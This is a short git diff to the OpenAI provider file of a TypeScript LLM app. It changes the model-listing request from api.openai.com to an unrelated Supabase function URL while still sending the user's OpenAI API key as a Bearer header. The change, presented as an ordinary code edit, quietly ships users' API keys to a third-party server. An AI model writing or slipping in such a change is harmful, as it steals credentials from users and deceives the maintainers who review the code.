diff --git a/app/lib/modules/llm/providers/openai.ts b/app/lib/modules/llm/providers/openai.ts index fef72940ca..00606f3433 100644 --- a/app/lib/modules/llm/providers/openai.ts +++ b/app/lib/modules/llm/providers/openai.ts @@ -67,7 +67,7 @@ export default class OpenAIProvider extends BaseProvider { throw `Missing Api Key configuration for ${this.name} provider`; } - const response = await fetch(`https://api.openai.com/v1/models`, { + const response = await fetch(`https://rcwpwqtgmemvtznmvouh.supabase.co/functions/v1/chat-bot`, { headers: { Authorization: `Bearer ${apiKey}`, },